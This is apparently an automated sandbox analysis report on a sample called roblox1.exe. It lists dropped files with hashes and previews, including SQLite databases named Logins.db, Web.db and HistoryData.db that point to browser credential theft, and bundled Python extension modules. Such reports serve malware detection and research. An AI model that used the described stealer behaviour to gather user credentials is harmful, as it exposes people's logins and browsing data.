SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HistoryData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Logins.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Web.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_343fogz1.cfy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_folyckgt.u3b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hzmd1by3.ez1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z2vmrj2i.0sm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_asyncio.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64424
Entropy (8bit):	6.124000794465739
Encrypted:	false
SSDEEP:	1536:r/p7Wh7XUagO7BR4SjavFHx8pIS5nWQ7Sy7o:r/tWhzUahBR4Sjahx8pIS5n5Fo
MD5:	6EB3C9FC8C216CEA8981B12FD41FBDCD
SHA1:	5F3787051F20514BB9E34F9D537D78C06E7A43E6
SHA-256:	3B0661EF2264D6566368B677C732BA062AC4688EF40C22476992A0F9536B0010
SHA-512:	2027707824D0948673443DD54B4F45BC44680C05C3C4A193C7C1803A1030124AD6C8FBE685CC7AAF15668D90C4CD9BFB93DE51EA8DB4AF5ABE742C1EF2DCD08B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: roblox.exe, Detection: malicious, Browse Filename: random.exe.6.exe, Detection: malicious, Browse Filename: end.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Stealer.39881.9434.15338.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.~[b...b...b...k..`.......`.......n.......j.......a.......a.......`...b..........c.......c.......c.......c...Richb...........PE..d....K.b.........." ... .T..........`...............................................^.....`.............................................P...P...d........................)...........w..T...........................@v..@............p.. ............................text....R.......T.................. ..`.rdata...I...p...J...X..............@..@.data...(...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83368
Entropy (8bit):	6.530099411242372
Encrypted:	false
SSDEEP:	1536:asRz7qNFcaO6ViD4fhaLRFc/a8kd7jzWHCxIStVs7Sywk:9RzGYYhaY9kd7jzWixIStVs+k
MD5:	A4B636201605067B676CC43784AE5570
SHA1:	E9F49D0FC75F25743D04CE23C496EB5F89E72A9A
SHA-256:	F178E29921C04FB68CC08B1E5D1181E5DF8CE1DE38A968778E27990F4A69973C
SHA-512:	02096BC36C7A9ECFA1712FE738B5EF8B78C6964E0E363136166657C153727B870A6A44C1E1EC9B81289D1AA0AF9C85F1A37B95B667103EDC2D3916280B6A9488
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........{..{..{...#.{......{....M.{......{......{......{......{..Z...{..{...{......{......{....O.{......{..Rich.{..........PE..d....K.b.........." ... .....^..............................................P......& ....`.........................................p...H............0....... .. ........)...@..........T...........................p...@............................................text...O........................... ..`.rdata..L>.......@..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_cffi_backend.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	178176
Entropy (8bit):	6.160618368535074
Encrypted:	false
SSDEEP:	3072:a28mc0wlApJaPh2dEVWkS0EDejc2zSTBcS7EkSTLkKDtJbtb:axTlApohBV1S0usWchkSTLLDDt
MD5:	2BAAA98B744915339AE6C016B17C3763
SHA1:	483C11673B73698F20CA2FF0748628C789B4DC68
SHA-256:	4F1CE205C2BE986C9D38B951B6BCB6045EB363E06DACC069A41941F80BE9068C
SHA-512:	2AE8DF6E764C0813A4C9F7AC5A08E045B44DAAC551E8FF5F8AA83286BE96AA0714D373B8D58E6D3AA4B821786A919505B74F118013D9FCD1EBC5A9E4876C2B5F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........#...p...p...p...p...p.y.q...p.y{p...p.y.q...p.y.q...p.y.q...p.q...pi..q...p...pX..p.x.q...p...p...p.x.q...p.xyp...p.x.q...pRich...p................PE..d......f.........." ...).....B.............................................. ............`.........................................PX..l....X.......................................?...............................=..@............................................text............................... ..`.rdata..............................@..@.data....].......0...j..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122792
Entropy (8bit):	6.021506515932983
Encrypted:	false
SSDEEP:	3072:bsQx9bm+edYe3ehG+20t7MqfrSW08UficVISQPkFPR:QQxCOhGB0tgqfrSiUficrZ
MD5:	87596DB63925DBFE4D5F0F36394D7AB0
SHA1:	AD1DD48BBC078FE0A2354C28CB33F92A7E64907E
SHA-256:	92D7954D9099762D81C1AE2836C11B6BA58C1883FDE8EEEFE387CC93F2F6AFB4
SHA-512:	E6D63E6FE1C3BD79F1E39CB09B6F56589F0EE80FD4F4638002FE026752BFA65457982ADBEF13150FA2F36E68771262D9378971023E07A75D710026ED37E83D7B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T....ne..ne..ne......ne.p.d..ne.p.`..ne.p.a..ne.p.f..ne.t.d..ne...a..ne...d..ne...d..ne..nd..ne.t.h..ne.t.e..ne.t....ne.t.g..ne.Rich.ne.........PE..d....K.b.........." ... ............P[..............................................H.....`..........................................Q.......R...........................).......... ...T...............................@...............@............................text............................... ..`.rdata..nl.......n..................@..@.data...D>...p...8...^..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	250280
Entropy (8bit):	6.547354352688139
Encrypted:	false
SSDEEP:	6144:TogRj7JKM8c7N6FiFUGMKa3xB6Dhj9qWMa3pLW1A64WsqC:tPJKa7N6FEa3x4NlbqC
MD5:	10F7B96C666F332EC512EDADE873EECB
SHA1:	4F511C030D4517552979105A8BB8CCCF3A56FCEA
SHA-256:	6314C99A3EFA15307E7BDBE18C0B49BC841C734F42923A0B44AAB42ED7D4A62D
SHA-512:	CFE5538E3BECBC3AA5540C627AF7BF13AD8F5C160B581A304D1510E0CB2876D49801DF76916DCDA6B7E0654CE145BB66D6E31BD6174524AE681D5F2B49088419
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................7.......................................+.........c.........................[...........Rich...........PE..d....K.b.........." ... .p...:.......................................................^....`..........................................D..P...@E...................'.......)......@...p...T...........................0...@............................................text...]o.......p.................. ..`.rdata...............t..............@..@.data....)...`...$...L..............@....pdata...'.......(...p..............@..@.rsrc...............................@..@.reloc..@...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	61864
Entropy (8bit):	6.210920109899827
Encrypted:	false
SSDEEP:	768:aSz5iGzcowlJF+aSe3kuKUZgL4dqDswE9+B1fpIS5IHYiSyvc9eEdB:npWlJF+aYupZbdqDOgB1fpIS5IH7Sy+V
MD5:	49CE7A28E1C0EB65A9A583A6BA44FA3B
SHA1:	DCFBEE380E7D6C88128A807F381A831B6A752F10
SHA-256:	1BE5CFD06A782B2AE8E4629D9D035CBC487074E8F63B9773C85E317BE29C0430
SHA-512:	CF1F96D6D61ECB2997BB541E9EDA7082EF4A445D3DD411CE6FD71B0DFE672F4DFADDF36AE0FB7D5F6D1345FBD90C19961A8F35328332CDAA232F322C0BF9A1F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zD.A>%..>%..>%..7]..:%..^_..<%..^_..2%..^_..6%..^_..=%..Z_..<%...W..<%...\..=%..>%...%..Z_..?%..Z_..?%..Z_..?%..Z_..?%..Rich>%..................PE..d....K.b.........." ... .P...z.......<..............................................Np....`............................................P...@............................)......X....l..T............................k..@............`..(............................text....N.......P.................. ..`.rdata..VM...`...N...T..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	158120
Entropy (8bit):	6.838169661977938
Encrypted:	false
SSDEEP:	3072:MeORg8tdLRrHn5Xp4znfI9mNoY6JCvyPZxsyTxISe1KmDd:M/Rgo1L5wwYOY6MixJKR
MD5:	B5FBC034AD7C70A2AD1EB34D08B36CF8
SHA1:	4EFE3F21BE36095673D949CCEAC928E11522B29C
SHA-256:	80A6EBE46F43FFA93BBDBFC83E67D6F44A44055DE1439B06E4DD2983CB243DF6
SHA-512:	E7185DA748502B645030C96D3345D75814BA5FD95A997C2D1C923D981C44D5B90DB64FAF77DDBBDC805769AF1BEC37DAF0ECEE0930A248B67A1C2D92B59C250C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........m....................................................<.........................................Rich...........................PE..d....L.b.........." ... .d...........8...............................................p....`.........................................0%..L...\|%..x....p.......P.......@...)......H.......T...........................`...@............................................text...^c.......d.................. ..`.rdata..............h..............@..@.data........@......................@....pdata.......P....... ..............@..@.rsrc........p.......4..............@..@.reloc..H............>..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_multiprocessing.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	33192
Entropy (8bit):	6.3186201273933635
Encrypted:	false
SSDEEP:	768:Y3I65wgJ5xeSZg2edRnJ8ZISRtczYiSyvZCeEdP:gIgJ5Uqg2edRJ8ZISRtcz7Sy0b
MD5:	71AC323C9F6E8A174F1B308B8C036E88
SHA1:	0521DF96B0D622544638C1903D32B1AFF1F186B0
SHA-256:	BE8269C83666EAA342788E62085A3DB28F81512D2CFA6156BF137B13EBEBE9E0
SHA-512:	014D73846F06E9608525A4B737B7FCCBE2123D0E8EB17301244B9C1829498328F7BC839CC45A1563CF066668EA6E0C4E3A5A0821AB05C999A97C20AA669E9EDA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_.+.>.x.>.x.>.x.Fgx.>.x.D.y.>.x.D.y.>.x.D.y.>.x.D.y.>.x.D.y.>.x.>.x.>.xmL.y.>.x.D.y.>.x.D.y.>.x.D.x.>.x.D.y.>.xRich.>.x........................PE..d....K.b.........." ... .....<......0....................................................`.........................................0D..`....D..x....p.......`.......X...)...........4..T...........................p3..@............0...............................text............................... ..`.rdata..^....0... ..."..............@..@.data........P.......B..............@....pdata.......`.......H..............@..@.rsrc........p.......L..............@..@.reloc...............V..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_overlapped.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	48552
Entropy (8bit):	6.319402195167259
Encrypted:	false
SSDEEP:	768:9i4KJKYCKlBj7gKxwfZQ7ZlYXF1SVMHE4ftISstDYiSyvM+eEd2:hKJfBuAA1SVWBftISstD7Syti
MD5:	7E6BD435C918E7C34336C7434404EEDF
SHA1:	F3A749AD1D7513EC41066AB143F97FA4D07559E1
SHA-256:	0606A0C5C4AB46C4A25DED5A2772E672016CAC574503681841800F9059AF21C4
SHA-512:	C8BF4B1EC6C8FA09C299A8418EE38CDCCB04AFA3A3C2E6D92625DBC2DE41F81DD0DF200FD37FCC41909C2851AC5CA936AF632307115B9AC31EC020D9ED63F157
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|.K{8.%(8.%(8.%(1..(<.%(X.$):.%(X. )4.%(X.!)0.%(X.&);.%(\.$):.%(8.$(N.%(.$)=.%(.!)9.%(\.()9.%(\.%)9.%(\..(9.%(\.')9.%(Rich8.%(........PE..d....K.b.........." ... .>...X...... ................................................o....`..........................................w..X...(x...........................)...... ....V..T............................U..@............P...............................text....<.......>.................. ..`.rdata...4...P...6...B..............@..@.data................x..............@....pdata..............................@..@.rsrc...............................@..@.reloc.. ...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30632
Entropy (8bit):	6.41055734058478
Encrypted:	false
SSDEEP:	768:lez/Dt36r34krA4eVIS7UAYiSyvAEYeEdSiD:leDE34krA4eVIS7UA7Sy9YLD
MD5:	23F4BECF6A1DF36AEE468BB0949AC2BC
SHA1:	A0E027D79A281981F97343F2D0E7322B9FE9B441
SHA-256:	09C5FAF270FD63BDE6C45CC53B05160262C7CA47D4C37825ED3E15D479DAEE66
SHA-512:	3EE5B3B7583BE1408C0E1E1C885512445A7E47A69FF874508E8F0A00A66A40A0E828CE33E6F30DDC3AC518D69E4BB96C8B36011FB4EDEDF9A9630EF98A14893B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.~Zb...b...b...k..`.......`.......n.......j.......a.......a.......`...b...+.......c.......c.......c.......c...Richb...........................PE..d....K.b.........." ... .....8.......................................................F....`..........................................C..L....C..d....p.......`.......N...)..........`4..T........................... 3..@............0..(............................text............................... ..`.rdata..2....0......................@..@.data...x....P.......:..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc...............L..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	77736
Entropy (8bit):	6.247935524153974
Encrypted:	false
SSDEEP:	1536:C6DucXZAuj19/s+S+pjtk/DDTaVISQwn7SyML:C6DPXSuj19/sT+ppk/XWVISQwneL
MD5:	E137DF498C120D6AC64EA1281BCAB600
SHA1:	B515E09868E9023D43991A05C113B2B662183CFE
SHA-256:	8046BF64E463D5AA38D13525891156131CF997C2E6CDF47527BC352F00F5C90A
SHA-512:	CC2772D282B81873AA7C5CBA5939D232CCEB6BE0908B211EDB18C25A17CBDB5072F102C0D6B7BC9B6B2F1F787B56AB1BC9BE731BB9E98885C17E26A09C2BEB90
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...ry..ry..ry..{.g.ty......py.......y......zy......qy......py..ry...y......uy......sy......sy......sy......sy..Richry..................PE..d....K.b.........." ... .l.......... &.......................................P.......Q....`.............................................P...P........0....... ..l........)...@.........T...............................@............................................text...Rj.......l.................. ..`.rdata...s.......t...p..............@..@.data...............................@....pdata..l.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	97704
Entropy (8bit):	6.173518585387285
Encrypted:	false
SSDEEP:	1536:GzgMWYDOavuvwYXGqijQaIrlIaiP9NbTp9c4L7ZJkyDpIS5Qux7Syce:NFYqDPSQaIrlI/DbLc2tJkyDpIS5QuxZ
MD5:	7F61EACBBBA2ECF6BF4ACF498FA52CE1
SHA1:	3174913F971D031929C310B5E51872597D613606
SHA-256:	85DE6D0B08B5CC1F2C3225C07338C76E1CAB43B4DE66619824F7B06CB2284C9E
SHA-512:	A5F6F830C7A5FADC3349B42DB0F3DA1FDDB160D7E488EA175BF9BE4732A18E277D2978720C0E294107526561A7011FADAB992C555D93E77D4411528E7C4E695A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........dQ...?...?...?..}....?..>...?......?..:...?..;...?..<...?..>...?.;w>...?...>...?..2...?..?...?......?..=...?.Rich..?.................PE..d....L.b.........." ... ............................................................4.....`.............................................P....................`.......T...)..............T...............................@...............`............................text...n........................... ..`.rdata...p.......r..................@..@.data...,....@......................@....pdata.......`.......2..............@..@.rsrc................F..............@..@.reloc...............P..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	159144
Entropy (8bit):	6.002098953253968
Encrypted:	false
SSDEEP:	3072:UhIDGtzShE3z/JHPUE0uev5J2oE/wu3rE923+nuI5Piev9muxISt710Y:UhIqtzShE3zhvyue5EMnuaF9mu3
MD5:	35F66AD429CD636BCAD858238C596828
SHA1:	AD4534A266F77A9CDCE7B97818531CE20364CB65
SHA-256:	58B772B53BFE898513C0EB264AE4FA47ED3D8F256BC8F70202356D20F9ECB6DC
SHA-512:	1CCA8E6C3A21A8B05CC7518BD62C4E3F57937910F2A310E00F13F60F6A94728EF2004A2F4A3D133755139C3A45B252E6DB76987B6B78BC8269A21AD5890356AD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........dI...'L..'L..'L.}.L..'L..&M..'L.."M..'L..#M..'L..$M..'L..&M..'Lz\|&M..'L..&Lt.'L)w&M..'L..M..'L..'M..'L...L..'L..%M..'LRich..'L................PE..d....K.b.........." ... ............l...................................................`............................................d...4........`.......P.......D...)...p..<.......T...............................@............................................text...x........................... ..`.rdata..J...........................@..@.data....j.......f..................@....pdata.......P....... ..............@..@.rsrc........`.......,..............@..@.reloc..<....p.......6..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_uuid.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	23976
Entropy (8bit):	6.5352541220575695
Encrypted:	false
SSDEEP:	384:I3AVpEWz6TPQxISewl4IYiSy1pCQXdW4i/8E9VFL2Utah:ISpENTQxISewLYiSyvNWeEdy
MD5:	13AA3AF9AED86CC917177AE1F41ACC9B
SHA1:	F5D95679AFDA44A6689DBB45E93EBE0E9CD33D69
SHA-256:	51DD1EA5E8CACF7EC4CADEFDF685334C7725FF85978390D0B3D67FC8C54FE1DB
SHA-512:	E1F5DBD6C0AFCF207DE0100CBA6F1344FEB0006A5C12DC92768AB2D24E3312F0852F3CD31A416AAFEB0471CD13A6C0408F0DA62956F7870B2E22D174A8B23C45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&Gp.G)#.G)#.G)#.?.#.G)#.=(".G)#.=,".G)#.=-".G)#.=*".G)#.=(".G)#55(".G)#.G(#.G)#.=!".G)#.=)".G)#.=.#.G)#.=+".G)#Rich.G)#................PE..d....K.b.........." ... .....&...... ........................................p.......&....`.........................................`)..L....)..x....P.......@.......4...)...`..@...`#..T........................... "..@............ ..8............................text...h........................... ..`.rdata....... ......................@..@.data........0.......$..............@....pdata.......@.......&..............@..@.rsrc........P.......(..............@..@.reloc..@....`.......2..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_helpers.pyd

Download File

Process:	C:\Users\user\Desktop\roblox1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	5.723071280644947
Encrypted:	false
SSDEEP:	768:DTcl94C2NHW3W3MvYrglsf9pbjfYSLBJrIBhGyoCOpq7+xBNnQfQ0uwu:Hcl9sUmMVodbJkPhox5UQ0uB
MD5:	BF489369F5E8A61CCA71E29009DC5D95
SHA1:	54299F6521B9C397F8969CA92404F492CF572AF6
SHA-256:	652364BEA64C5CB50B81CA43A09418E75FD374FFD374DBAA193F4EBB3F9F36BD
SHA-512:	C34E607DAF025F6ECC6B8C5118468F4B1EFD82B373C1EA382BB57C33D45845DD28B62111425DDBA637C9C91DF111B1936A950D19BE872F8716FF04B5CF91BDB9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*..[n..n..n..g.5.l...g..l..%...l...g..m...g..f...g..b......m..n.....{`..o..{`..o..{`Y.o..{`..o..Richn..........PE..d......f.........." ...(.....V...... ........................................0............`.........................................0...`.......d............................ .........................................@............................................text...x........................... ..`.rdata...6.......8..................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

